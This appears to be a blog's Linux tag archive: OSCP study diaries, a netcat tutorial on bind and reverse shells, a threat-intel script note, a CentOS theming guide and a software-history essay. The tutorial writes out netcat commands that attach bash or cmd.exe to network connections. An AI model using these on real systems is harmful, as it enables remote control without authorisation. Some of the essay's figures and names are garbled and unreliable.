Tag Archives: Linux

OSCP Diary 3

I didn’t intend on taking so much time in between posts, but with work, Christmas and the OSCP I have been swamped!

So sitrep: Progress has been slow and steady, maybe a little slower than I would have liked…in fact definitely slower than I would have liked.

So my main issue has been myself.. I am arrogant, I procrastinate a lot and I am a weak!

So let me explain each in turn; I am arrogant. Coming into the OSCP, I was telling myself, how hard can this be, you’ve been in this game for a few years now, you have lots of Linux experience, you have used most and if not all of these tools before. This should be a formality.

Well it turns out it isn’t a formality, yes I have been in this game before, but never on the attacking side, sure I’ve done the vulnhub stuff, the uni classes and even a little bit of dabbling in the real world, but this is different, it isn’t just about knowing how to use the tools or following tutorials. This requires you to sit down and plan and conduct the tools like a conductor conducts an orchestra. This is about knowing what to use when, about what steps to take first, about developing a repeatable but dynamic process.

This is hard….way harder than it sounds, I think the only way to really learn this is via time, practice and effort.

While we are on the subject of effort, let’s move on to my next failing; procrastination. All too often have I got up and told myself today I will spend the entire day on this..and sometimes I do. But that also involves picking up my phone to check Facebook, stopping to make tea, going on youtube etc etc. This wastes lots of time. I need to stop this.

My next failing is weakness….I will admit it, I have had the “I can’t do this” moment(s), it has hit me and it has hit me hard.

I will be working on a box, I will be following an attack vector all is well, I’m in full on Neo from the matrix mode…then boom. Brickwall….I get stuck and I cannot get any further. This has happened to me a few times now.

But…a few days ago I hit a milestone, I pwned not 1..but 2 boxes. Sure they were exploiting the same vulnerability, but the joy of getting a shell on those boxes with a custom exploit was good!

I had my first “I CAN DO THIS!” moment, from these I have had a number of small victories, finding the odd thing here and there, I am beginning to feel like I am making progress.

Right that is enough for today, I’m not sure exactly when my next post will be but I will try make it sooner than this one took me!

OSCP Diary Day 1

Welcome to my OSCP diary, somewhere for me to brain dump my thoughts as I work my way through the Penetration Testing with Kali Linux (PWK) course and then take the Offensive Security Certified Professional (OSCP) Exam.

The PWK/OSCP are under strict NDA so I will not be going into details here, I will be very general and very vague. So if you are looking for PWK tutorials and howtos, then you have come to the wrong place.

After weeks of waiting I finally got my OSCP lab access last night at 0000 Hours, as the bell tolled midnight the email that I had not patiently waited for was finally delivered.

The plan was wait up until midnight, get the email download all the stuff that I needed to get onto the labs, all the course materials etc. etc. then go to bed get a solid 7 hours sleep and be ready to spend Sunday pwning n00bs and popping shells!

So that was the plan, the reality however was somewhat more chaotic. Like a schoolboy at Christmas I have been getting a lot little hyped up over the last few days counting down the minutes to 0000 on my lab access day, thus I was already a little sleep deprived when I waited up to receive my email.

So the email comes in and I feel the rush of adrenalin surge though me (well about as much as a rush as you can get from receiving an email after a 20 hour day), and off I go dutifully downloading all the stuff I needed.

So I finished getting all the stuff and headed off to bed and sleep for a solid 7 hours….no I’m just kidding. I thought to myself, “ahh well I may as well configure everything just now so I’m ready to go in the morning.”, so off I go configuring all the things, getting everything just so.

It is now around 0100 everything is downloaded, everything is configured, all I need to do now is get some shut eye.

“But maybe I should just have a wee tincy wincy look at what I have in store for me”….so I open the course materials, pop on the forums, check out the IRC…it’s now 0200.

My mindset has now changed, I’m now thinking “well I’ve went this far I may as well get on the labs and have a look”…3 hours later it 0500 and I’ve just sat up all night, excited scanning all the things!
At this stage tiredness gets the better of me and I decide to call it a night (well technically morning).

So to bed I go 3 and bit hours later I’m awake again it is now 0830 and I am feeling compelled to get back in the labs. So to the labs I go…now it may be the sleep deprivation, it may be the excessive amount espressos I’ve consumed or it could be a combination of both, but I could not focus on any one thing. I must have wasted hours jumping around from one thing to another. I went from going rouge and jumping ahead of the game hitting random boxes to deciding to slow down and methodically just work my way though things from beginning to end.

In the end it now approaching 1800 I need to get things ready for the day job tomorrow (who I owe a big thank you to for putting me though the OSCP!), and I need to step away for a bit let everything from last 18 hours sink in.

The two take aways from day 1 are:

1: Sleep (it is a requirement unfortunately)
2: Plan ahead and prepare your day. (this will save a lot of time later on!)

Now roll on day 2 (of 90).

Meaningful time in labs: 6 Hours

What are Bind and Reverse Shells?

I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved.

Now I guess that since you are reading this you’re already familiar with what a shell is. *If not have a look here* What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat.

What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs).

For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box.

Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web

Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily.

Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page.

It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections.

The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm.

Okay, demo time, so either play along at home or just put your feet up and watch. *Read*

Our two boxes are Wendy the Windows box ( and Lynn the Linux box (

So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example;

Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this;

Lynn nc -nlvp nc 9874 -e /bin/bash

Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell.

Now when a connection is established on Lynn (, the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy;

Wendy nc -nv 9874

And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them.


The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm?

Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port.

Lynn nc -nlvp nc 9874

Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation.

Wendy nc -nv 9874 -e cmd.exe

We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections.

In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn

Answering the question, no one asked…

I have to be honest I do love myself a pocket reference guide. Even with the internet’s vast resources there is something about holding an old school, analogue, physical copy of a book that is pleasing in a way that searching the internet just isn’t.

The strange thing is that despite their name, I’ve never actually carried one of these books around in my pocket, this lead me to assume that they didn’t fit in real pockets….

Well as it turns out, predictably and obviously I was wrong….


Automatically gather IPv4 Threat Intelligence

To paraphrase Sun Tzu “Know your enemy as you know yourself”. Yes I know this is used in security ad nauseam and I profusely apologise for rolling out this tired old cliché, but as is often true, within the cliché lies the truth, and Sun Tzus famous quote is no different.

Collecting threat intelligence on the enemy (or possible enemy) and feeding it into your tool set can help you watch and protect against interactions with online addresses that could pose a threat to your environment.

There are a number of online resources that provide this intelligence for free, but collecting it and formatting it into a .CSV file ready for direct import into your tools file can be cumbersome if it is not automated.

Tools such as SIEM’s can take lists of IPv4 addresses directly from a .CSV file and use them to test rules against or build reports on.

Example use cases are amongst others; IP reputation lists to flag up whenever your environment attempts to interact with IP’s with a poor reputation, IP’s known to host Malware, known c2 servers or any interaction with a TOR exit node.

To this end I have written a Python script, that will automatically grab the latest threat intel from a few sites. The script is pretty straight forward and can be easily edited to grab lists of IPv4 addresses from whatever site you want.

The tor exit node list updates quite often, it is probably better to schedule a cron job to automatically update that list, I will post a dedicated script for this and any other use cases that spring to mind in the future, as well as PowerShell scripts for Windows users that do not want to install Python.

Couple of notes on these scripts:

  • The Linux script runs on Python 2.7 as this is the version most commonly pre-installed on Linux distros.
  • The linux script uses raw_input instead of input as input contains an eval function hiding behind it which may lead to a possible code injection vulnerabilities when used in python 2.7.
  • The Windows script uses Python 3 as most windows users will need to manually install Python and it makes sense for them to use the most recent version.
  • The Windows script uses input as Python 3 does not have the same code injection vulnerability risk

Linux, Python 2.7 script. GitHub.

Windows, Python 3 script. GitHub

How to make Linux look good

I’ve been using the copyright free Redhat clone CentOS 7 with the Gnome desktop for a while now. It has proved to be an excellent distro for experimenting with all kinds of enterprise services and packages. Over the last 9 months I have created a full virtual network running a number of instances of CentOS that have been stripped down to the terminal to reduce the attack surface and make better use of the limited resources my laptop gives me. Each of the VM’s has had at least one service, or more running on it, I’ve had a 389 directory server, DNS and a Dovecot/Squirrelmail/postfix email server amongst other things all running simultaneously on an entirely KVM platform.

CentOS isn’t just an excellent server platform it is also an excellent workstation and day to day distro, my CentOS laptop has taken over my Debian PC as my main device. In terms of practicality, CentOS is an absolute masterpiece, in terms of looks however, it doesn’t look so great if you’re going to use it as your main operating system.

One thing that bugged me was the default Gnome theme and settings, personally I found them to be quite ugly and clunky. I persevered with them for a number of months, mainly because I was so busy with proper server configuration geekery that I didn’t have time to mess about with something that only affected aesthetics.

One day however, in desperate need for something to procrastinate with I decided to make my CentOS desktop environment a little prettier. This is straightforward guide (I’m no graphics designer or user interface expert) but it should prove helpful nonetheless, especially to get a baseline desktop environment that you can tweak to your heart’s content! Additionally there a few troubleshooting tips for issues I encountered along the way.

Step 1: Download and install CentOS 7 (I used full x86_64 with Gnome shell 3.8.4). The default theme will look as follows, practical…but kinda ugly.


Step 2: Once CentOS is installed and updated, it is time to start configuring. There are a ton of themes available for Gnome, the theme I used was the Zukitwo theme which I downloaded from GNOME-look.org.

Step 3: Download the following packages from the CentOS repositories. These packages will allow for simple installation of shell extensions direct from the firefox browser and the tweak tool will allow us to install themes and tweak Gnome.

# sudo yum install gnome-shell-extension-common.noarch
# sudo yum install gnome-tweak-tool.noarch

Step 4: Icon packs can be downloaded to give the icons a nicer look. Numix have created a number of themes and icon packs, I used the free Numix Circle Pack. Once this is done move them to /usr/share/icons.

Step 5: In your home folder create a hidden directory (if one doesn’t already exist) called themes. Remember to start the directory name with a dot. Once this is done move the zipped theme from the download location into this. For example;

# mkdir /home/thomas/.themes/
# mv /home/thomas/Downloads/140562-Zukitwo.zip /home/thomas/.themes/

Step 6: Next up open the tweak tool we installed earlier, select the ‘shell extensions’ from the left pane. On this screen there a number of switches, find the one that says ‘User themes’ and make sure it is on.


Step 6.1: Staying in the tweak tool select ‘Theme’ from the left pane, then from the ‘Shell theme’ menu select the themes zipped directory from the ~/.theme directory. Some people will recommend that you unzip the theme first, personally I didn’t and I haven’t had any issue installing directly from the .zip.


Step 6.2: Finally from the ‘Icon Theme’ option select the icon pack (Numix in my case) from the drop down menu.

Step 7: This is where we encounter our first issue, the CentOS icon in the upper left of the screen is too large. This is a small and easy to fix issue, but it took me a while and much googling to figure it out.

big icon

Step 7.1: To fix this we need to edit the gnome-shell.css file, which can be found in the themes zip directory at /home/thomas/Downloads/140562-Zukitwo.zip.

Step 7.2: Now there are a number of ways to edit this file, but the simplest way is to browse directly to it in the file manager, and open the zip directory with archive manager.

Step 7.3: In archive manager search for ‘gnome-shell.css’ then click it to open it with your default text editor, in my case this is gedit.

Step 7.4: to find the bit of css code we are looking to edit press ctrl + f and search for ‘.panel-logo-icon’ if this code exists edit it to read as follows, if it does not exist simply add the code to the bottom of file. (make use to use the correct parentheses{})

.panel-logo-icon {
padding-right: .4em;
icon-size: 1em;


Step 7.5: While in here there a number of things that can be tweaked, it is worth googling around to see what can be done. Some ideas include making the top panel transparent or fiddling around with the colour schemes. The usual precautions should be taken when editing anything, document what you are doing and make backups before changing anything.

Step 8: The bar along the bottom of the desktop is called the window list, personally I find it quite clunky. There are a number of ways to remove it, it can be removed using extensions (more on them later), or simply by selecting the correct session at login. This can be done by selecting the cog icon next to the sign in button on the logon page.

Step 9: Once windows list has been removed it may be difficult to move around windows, one solution is to use the minumum windows list extension that will place a drop down menu in the top panel with the window list in it. The other is to install a dock.

Step 10: The dock I used was Cairo Dock, a beautiful and functional dock that can be highly customised. CentOS does not have Cairo Dock in its standard repositories, but it is simple enough to download the RPM from here and install with yum from the local file.

Step 10.1: As said in the previous step Cairo Dock is highly customisable, there are too many options to go over here. But the Cairo Dock website has handy guide on how to configure startup options here and appearance and behaviour options here.

Step 11. Gnome supports shell extensions, self contained configurations which modify and tweak Gnome. There a couple of ways of installing these extentions via the extensions.gnome.org website. Open with firefox and the extensions package we installed at the start of this tutorial will allow for simple extension configuration. These extensions can also be toggled on and off in the tweak tool.

Some the extensions I used are the quit button, and the minimised windows list.

Step 12: Now that Gnome is fully configured all that remains is to change the wallpaper to one that suits your style, this can be done simply by right clicking the desktop and selecting change wallpaper. The wallpaper I used in this tutorial can be found here.



A Brief History of Proprietary and Open Source Software

Definition of Proprietary Software

The word ‘proprietary’ is defined by Oxford Dictionaries as “Relating to an owner or ownership” (Oxforddictionaries.com, 2014). In a 2004 (updated in 2005) report on the definition of proprietary software The Linux Information Project (LINFO) explained that proprietary software “is software that is owned by an individual or a company (usually the one that developed it). There are almost always major restrictions on its use, and its source code is almost always kept secret.” (Linfo.org, 2014) The restrictions described by LINFO are what allow proprietary software to be used as commercial products. Companies that develop proprietary software or buy the Intellectual property to it, exert complete control over it; they maintain, update and fix bugs in house.

Most software typically demands that end users or organisations agree to a Licence Agreement. For a proprietary product this is an electronic contract that usually prohibits the reselling, copying or profiteering from the software. In many cases the license only allows for the use of the software and not ownership. Licensing options for software can allow end users the use of proprietary components at no monetary charge; Adobe Flash being a common example of free to use proprietary software. (Adobe,2014) Licensing for proprietary software can be complex, especially when purchased for enterprise environments. Microsoft is an example of a software vendor that offers an array of complex licensing structures. (Microsoft, 2014) The number of instances allowed, time limits, limits on what physical location the software can be used in, who can and who cannot use it can all be tightly regulated by a proprietary software vendor.

Definition of Open Source Software

Open Source Software (OSS) is defined by the Open Source Initiative as; “software that can be freely used, changed, and shared (in modified or unmodified form) by anyone. Open source software is made by many people, and distributed under licenses that comply with the Open Source Definition.” This definition is a list of ten requirements that software must comply with to be considered open source. In addition to the characteristics already listed, the Open Source Definition also ensures that OSS does not discriminate to persons or groups, fields of endeavour and is technology neutral. (Opensource.org, 2014) The full list is as follows;

1.Free Redistribution: Non-restrictive licence.
2. Source Code: Must include source code.
3. Derived Works: Must allow derived works
4. Integrity of Author’s Source Code: May require derived works to change from original name.
5. No Discrimination Against Persons or Groups
6. No Discrimination Against Fields of Endeavour
7. Distribution of License: License must apply to everyone,, without the need of a further licence.
8. Licence Must Not be Specific to a Product: Licence must not be tied to a distribution.
9. License Must Not Restrict Other Software
10. License Must Be Technology-Neutral
(Opensource.org, 2014)

Andrew M.St. Laurent states in his book Understanding Open Source and Free Software Licensing that “The fundamental purpose of open source software licensing is to deny anybody the right to exclusively exploit a work” (St. Laurent, 2008), to this end there are a number of standard OSS licences that can be used when redistributing OSS. The most widely used OSS licence is the GNU General Public License (GPL) 2.0. (Blackducksoftware.com, 2014) The Open Source Initiative name the following licences as the main open source licences;

Apache License 2.0
BSD 3-Clause “New” or “Revised” license
BSD 2-Clause “Simplified” or “FreeBSD” license
GNU General Public License (GPL)
GNU Library or “Lesser” General Public License (LGPL)
MIT license
Mozilla Public License 2.0
Common Development and Distribution License
Eclipse Public License

The model of OSS used with licences such as the GNU GPL allow end users and organizations to forgo many of the complexities and costs involved with proprietary software. Additionally as the source code is public, any individual can; add features, improve stability, correct bugs and security flaws. For many enterprise level OSS there can be the option to pay for support. This provides support at a monetary cost, an example of this is Red Hats support model. (Red Hat, 2014) Additionally OSS generally has free support via the use of; documentation, IRC services, mailing lists and various other community driven support services. (Debian.org, 2014)

History of UNIX and the Move to Open Source (GNU/Linux)


In July 1974 Dennis M Ritchie and Ken Thompson of AT&T Bell Laboratories published a white paper describing an interactive, multi user, Operating System (OS) called The UNIX Time-sharing System (UNIX). (Ritchie and Thompson, 1974) UNIX was robust and versatile, it was portable so could be used on range of devices, programs could be written and ran on UNIX to carry out a vast array of tasks. Before UNIX most programs made use of punch cards that were used as the input for mainframe computers that would then decode them and execute the program.

UNIX was a proprietary OS, but was developed with a spirit of openness, in 1979 Dennis Ritchie stated “What we wanted to preserve was not just a good environment in which to do programming, but a system around which a fellowship could form. We knew from experience that the essence of communal computing . . . (was) to encourage close communication.” (Ritchie, D. 1979) UNIX was licenced to a number of organisations who produced UNIX derivatives, one notable example was the University of California’s Berkeley Standard Distribution (BSD) which along with Bell Laboratories own System V became two of the main branches of UNIX variants.

Commercialisation and Standardisation

By the mid eighties UNIX had been fully commercialised and there were many vendors offering their own UNIX derivatives, each of them effectively being a unique proprietary system. (Unix.org, 2014) In 1984 a collection of vendors formed the X/Open consortium with an aim of creating a series of standards allowing a degree of interoperability between the proprietary UNIX derivatives. The formation of the X/Open consortium would lead to the publishing of The Single UNIX Specification (SUS) collection of standards. (Love, 2013) Incorporated into the SUS family of standards was the POSIX (Portable Operating System Interface uniX) standards. POSIX standardised a number of interfaces including Application Programming Interfaces (API), how shells interface with the UNIX kernel and various other OS Utilities. (Standards.ieee.org, 2014) (Unix.org, 2014)

The SUS and POSIX standards laid out in the Institute of Electrical and Electronics Engineers (IEEE) standards along with the commercialisation of UNIX led to UNIX veering away from the spirit of openness that Denis Ritchie has spoken about in 1979. (Negus and Bresnahan, 2012) The ever increasing restrictiveness of UNIX variants and commercialisation of UNIX made UNIX OS’s less available. This contributed to the increased prominence of the free software community.


Free software has been part of modern computing almost since its inception, technology was developed in advanced research and development laboratories run by organisations like Universities, Corporations and Governments. Although much of this technology, including computer hardware and software was developed under strict secrecy, a substantial portion of it was shared between academics and researchers. This allowed for a greater pool of minds to contribute to improving the hardware and software. (Ceruzzi, 2003) It was in this spirit that movements dedicated to allowing users and organizations to use, study and modify free software arose. By 1983 an individual called Richard Stallman had become a leading proponent of free software, on the 27th of September 1983 he announced the GNU Project. (Gnu.org, 2014)

Richard Stallman states that the GNU Project is primarily a political project. (Stallman, R. 2008) Its political ideology is that all software should be free, the project set out to create a completely new OS free of any proprietary code or software. In 1984 the project began work on a Unix-like OS complete with “kernel, compilers, editors, text formatters, mail software, graphical interfaces, libraries, games and many other things” (Gnu.org, 2014) The building of an entirely new Unix-like OS proved to be a complex task. UNIX and Unix-like OS’s are modular by design. The GNU project set about replacing each of the components one by one. Along with a small number of already existing free components, for example the X windows system, the OS’s took shape. (DiBona, Ockman and Stone, 1999) By 1992 the GNU Project had replaced all major components of UNIX in the GNU OS apart from the kernel. The GNU project was developing a kernel called GNU Hurd. (Gnu.org, 2013) GNU Hurd was not a stable kernel due to it still being in development, in 1991 the Linux kernel was published on Usenet. Soon the Linux kernel would become the de-facto kernel for the GNU OS. (Gnu.org, 2014)


Linus Torvalds was a computer science student at the University of Helsinki in 1991, as part of his studies he enrolled in a UNIX module. (Richardson, 1999) His participation on this module introduced Torvalds to UNIX, specifically the Digital Equipment Corporation’s (DEC) variant of UNIX called Ultrix. (Torvalds and Diamond, 2001) In order to continue his studies and to indulge his computer programing hobby at home, Torvalds purchased a PC and installed a Unix-like OS called Minux. Using Minux as its basis Torvalds began work on his own kernel, this kernel would later be named Linux. (Linuxfoundation.org, 2014) On the 26th of August 1991 Torvalds published a post on the comp.os.minux Usenet group announcing “I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) . . . I’d like any feedback on things people like/dislike in minix . . . I’d like to know what features most people would want.” (Torvalds, L.B 1991) The kernel had been designed around the Intel 386 and utilised many features specific to that CPU, this lead Torvalds to believe that the kernel was not portable. But with assistance, ideas and code from the comp.os.minix community the kernel was developed to add portability and new features. (comp.os.minux, 1991)

From September 1991 a number of iterations of Linux were released and in March 1994 Linux 1.0 was released. In the intervening time the Linux community had grown substantially and due to the incomplete nature of GNU Hurd, Linux has become the kernel of choice for the GNU OS. The Linux kernel allowed the GNU OS to be a full OS free of proprietary code thus fulfilling the original vision set out by the GNU Project. (Negus and Bresnahan, 2012)

Torvalds distributed Linux under the GNU GPL, thus enabling individuals and groups to further develop Linux. The Linux kernel was used as the basis of many OS, each with their own unique configuration and bundled software packages, these would become known as distributions often referred to as distros. Due to the Linux only comprising the kernel and many of the overlaying software components being from GNU, many distributions are referred to as GNU/Linux. Today there are over six hundred Linux distributions. (Futurist.se, 2014)

Linux is considered both free software and OSS. GNU consider the word free to be defined as “freedom”, thus allowing a user to have complete freedom over the software. For example Google’s Linux based Android OS has its source code open and is therefore OSS, but restricts users and developers to using certain components without being able to remove or modify them, therefore Android cannot be considered as free software, despite it being licenced under the Apache 2.0 software license. (Gnu.org, 2014) (Gilbertson, 2010) Debian Linux conversely explicitly sets out to meet the OSS definition. (Debian.org, 2015) Linus Torvalds embraced this subtle difference, he asserted that Open Source principles did not clash with commercialisation, in his keynote speech to the 2000 LinuxWorld Expo Torvalds stated “It is not the point of Linux to be uncommercial” (Theregister.co.uk, 2000)

Commercialisation of Linux Support

Due to the diversity of individuals and groups developing Linux a number of early distributions formed the platform for further distributions to be developed upon. Distributions such as Debian and Red Hat were two major platforms to form the basis for new distributions. The primary difference being the package management systems used by each distribution. (Packman.linux.is, 2014) A secondary difference was the target market, Debian was dedicated to providing a free OS with free software packages for all users, as a Unix-like OS it is versatile and configurable, and is one of the most used distributions for the Apache web server. (Debian.org, 2014) Red Hat Linux was developed for enterprise environments. (Redhat.com, 2014) Red Hat Linux’s developers; Red Hat, pioneered the support model for OSS. Founded in 1993 the business steadily grew, in 1999 Red Hat floated on the New York Stock Exchange and set an all-time record for a technology IPO. (Redhat.com, 2014) In 2012 Red Hat became the first Linux based company break the Billion US dollar mark for annual earnings. (Vaughan-Nichols, 2012) By 2014 they had diversified the range of products and services they offered including their flagship Red Hat Enterprise Linux (RHEL), an enterprise level OS that comes in a number of varieties and configurations for both servers and clients. Red Hat support large scale enterprise networks, one of the software packages they support is Red Hat Directory Server (RHDS), a directory database that makes use of Lightweight Directory Access Protocol (LDAP) to provide authentication, access control and other management features. (Redhat.com, 2014) Although Red Hat is open source it does protect its software via the use of the Red Hat trademark, this restricts redistribution of Red Hat Products. (Redhat.com, 2014) Despite this and due to its open source nature there are many Open Source and free alternatives to Red Hats enterprise level software. For example the Fedora and CentOS distributions are both forked from red hat, and RHDS is used as the basis for 389 Directory Server. (Fedora, 2014)

Red Hat recorded revenue of 1,534.615 Billion US dollars in 2014. (Sec.gov, 2014) These stats make Red Hat the most successful Linux based company, but they are not the only company that offer Linux based software for free with a support and certification model, Canonical and Novell have also experienced success with similar business models. This support model in now over 20 years old, Peter Levine a lecturer at both MIT and Stanford argues that the support model is outdated, he points out that Red Hat’s success is dwarfed by that of proprietary rival Microsoft whose revenue in 2014 was 86.83 Billion US dollars. (Microsoft.com, 2014) Levine argues that lack of investment, forking development and even the fact that the code is open is holding back the Open Source community from competing with major corporations such as Microsoft. (TechCrunch, 2014)

Commercialisation of Linux as a Service

Support is not the only way that Linux has been commercialised, many organisations including some the biggest name in the technology sector use Linux as the backbone to both their internal and external infrastructure. Major corporations contribute to the Linux kernels, Microsoft who have products in market that are in direct competition with Linux added 1% of the code in 2012. Dozens of other organisations are also on the list of contributors, The Linux foundation estimated in 2012 that 75% of contributors were being paid for their work. (The Linux Foundation, 2012)

The code Microsoft added to the kernel was driver software enabling Linux OS’s to have increased performance when used in Microsoft’s virtualisation products. (microsoft, 2014) As the support business model for commercialising Linux plateaued, virtualisation was a leading technology in allowing a new business model to evolve; Linux as a Service. In 2007 Red Hat announced a new version of RHEL that allowed individuals and corporations to rent servers by the hour. The servers were not physical servers but virtual servers held in a remote location, colloquially known as cloud computing. The OS for the servers could be from a range of vendors, and included proprietary serves such as Windows Server, UNIX and Linux servers, in the majority of cases they are installed on hardware running a Linux based hypervisor. (Judge, P. 2007) This service was a joint enterprise with Amazon and formed the basis for Amazon Elastic Compute Cloud (Amazon EC2), and is now the world’s largest cloud service provider. (Darrow and Darrow, 2014) Amazon are not alone in offering Linux based cloud services, many of their competitors offer similar services such as Infrastructure, Platform and Software as a Service (collectively known as XaaS), IBM, HP Google are just a few of examples.

OpenStack is the defacto standard cloud platform for enterprise environments with hundreds of companies using it worldwide. OpenStack is an OSS stack that allows the deployment of service based technologies. The OpenStack project is maintained by the OpenStack Foundation which includes over 200 corporations such as AT&T, Red hat and Canonical. (Openstack.org, 2014) The 2014 OpenStack survey clearly demonstrated that Linux based technologies are dominating the XaaS sector; KVM and Xen are the most widely used hypervisors on OpenStack. Open vSwitch and Linux bridge are the most used network drivers. 95% of organisations are using OpenStack to deploy Linux desktop OS’s as Platform as a Service (PaaS), with 40% deploying Ubuntu, 26% CentOS and 14% RHEL. Various other distributions make up the rest. Microsoft Windows only accounted for 5% of the organisations surveyed. (OpenStack, 2014)

Linux is not only the dominant platform for XaaS, Linux based technologies are used for a wide variety computing solutions. According to the Linux Foundation “Linux powers 98% of the world’s supercomputers, most of the servers powering the Internet, the majority of financial trades worldwide and tens of millions of Android mobile phones and consumer devices.” (Linuxfoundation.org, 2014)

Proprietary Network Technologies

Proprietary software (PS) designed for enterprise scale networking is available for all major server platforms. UNIX, Windows and Linux all have PS packages to carry out networking tasks. This software can range from PS packages that either standalone products or part of a package of products that are included as part of a server OS platform. Additionally proprietary hardware can have a proprietary OS with a mix of OSS and PS installed on it. One example of this is Cisco’s router and switch products, which run the Cisco IOS OS, and supports a range of open and proprietary protocols and protocol extensions. (Cisco, 2014)

Microsoft as an Example

One of the largest vendors of proprietary server software is Microsoft, who in 2013 saw their revenue from their Server and Tools division grow by 9% compared to the year before, to US$20,281,000,000. (Tanner Helland, 2013)(Microsoft, 2014) In 1993 Microsoft released Windows NT 3.1 Advanced Server (Theregister.co.uk, 2014), this product was Microsoft’s first server branded operating system released by Microsoft, and the first to use NT, which semi-officially stands for ‘New Technology’. NT would go on to form the basis for all of Microsoft’s client and server OS’s. At the heart of NT was a monolithic kernel that allowed Windows to be platform independent and which enabled software and hardware portability. (Zachary, 1994)

Microsoft began producing new variants and iterations of their server OS’s, as time went on new features and proprietary versions of general network software was included; in 1994 Windows NT 3.5 Advanced Server Microsoft included an implementation of DNS called Microsoft DNS (Richter, 1995), and a web server called Internet Information Services (IIS) was included as an option in version 3.51. (Microsoft, 1997) In 1999 Microsoft released Windows 2000, Windows 2000 had a number of server branded variants, that included software packages Routing and Remote Access Services (RRAS), IPSec support, and a directory service called Active Directory (AD). (Technet.microsoft.com, 2014)

AD is an enterprise level directory service that is one of the key components in a Windows Domain. Every Windows Server fulfilling the role of a Domain Controller (DC) has an up to date copy of the AD database. AD provided central administration, authentication for what it calls objects. Objects can be device accounts, users accounts and groups. As with Microsoft’s other products AD has evolved, new features and functions have been added, for example in Windows Server 2008 added the functionality to have Read-Only Domain Controllers (RODC), a RODC only holds a read only copy of the Active Directory database, this is designed to be used in locations where security may not be optimal. (Minasi, 2010) In Windows Server 2012 the ability to clone Domain Controllers and rapidly deploy virtual Domain Controllers, each with a copy of the AD database, was added. (Mackin and Thomas, 2014)

AD employs platform independent standards and open source technologies. LDAP, is an application layer protocol that allows AD to add and retrieve information from its directory. For authentication Microsoft extended the authentication protocol Kerberos. Microsoft’s extension to Kerberos was published as a memo by the Internet Engineering Task Force in Request for Comment (RFC) 4757. (IETF, 2014)

Vendor Lock-In

Microsoft pursues what is known as a Vendor or Proprietary Lock-In strategy. This is achieved by producing a large amount of proprietary software, internet browser plugins, file types, Application Programming Interfaces, extensions and protocols. As a result of this Microsoft has a rich and diverse eco-system of enterprise products that are designed to work seamlessly with one another that in many cases are difficult or impossible to be used in a non-Microsoft environment. (Le Concurrentialiste, 2014) In a 1997 memo to Bill Gates that was published in the 2002 European Commission report on Microsoft’s business practices, Microsoft’s C++ general manager Aaron Contorer, praised the Windows API and how it had helped to lock in independent software developers into using Microsoft products despite “our mistakes, our buggy drivers, our high TCO, our lack of a sexy vision at times, and many other difficulties” he concluded his memo with “In short, without this exclusive franchise called the Windows API, we would have been dead a long time ago.” (Michael Parsons, 2004)

Microsoft are not alone in employing a lock-in strategy, many vendors of PS and services use a similar model to lock customers into their range of products. Cisco switches and routers support a range of networking protocols, many of them open standards, on top of these open standards Cisco also offer a range of proprietary protocols and protocol extensions that are only interoperable with other Cisco devices. In some cases proprietary protocols are interoperable with Cisco hardware running a specified preceding OS version. In order to deploy the proprietary protocol a customer may need to update the OS version on their hardware or if the hardware does not support the required OS version they may need to upgrade the hardware itself. Example is being the Dynamic Trunking Protocol (DTP) (Cisco, 2014) and VLAN Trunk Protocol (VTP)

Open Source and Proprietary Technology Comparison

It is perhaps not surprising that there is a diverse set of opinions on the subject of open source vs proprietary technology. Each has its proponents and its detractors, it is also not surprising that many of the proponents and detractors have vested interests. This is no more evident when discussing the Total Cost of Ownership (TCO) between a Microsoft Windows setup and a Linux setup. Red hat commissioned what they described as independent survey examining the TCO of RHEL and Windows Server IT infrastructure. They collected data from 21 companies they found that RHEL had a TOC that was 34% lower than that of an equivalent Windows Server set up. Included in the survey were more statistics that shed favourable light on RHEL. The survey found that compared to Windows server RHEL had 46% lower software costs, 41% lower staffing costs, and 64% less down time. (Redhat, 2013)

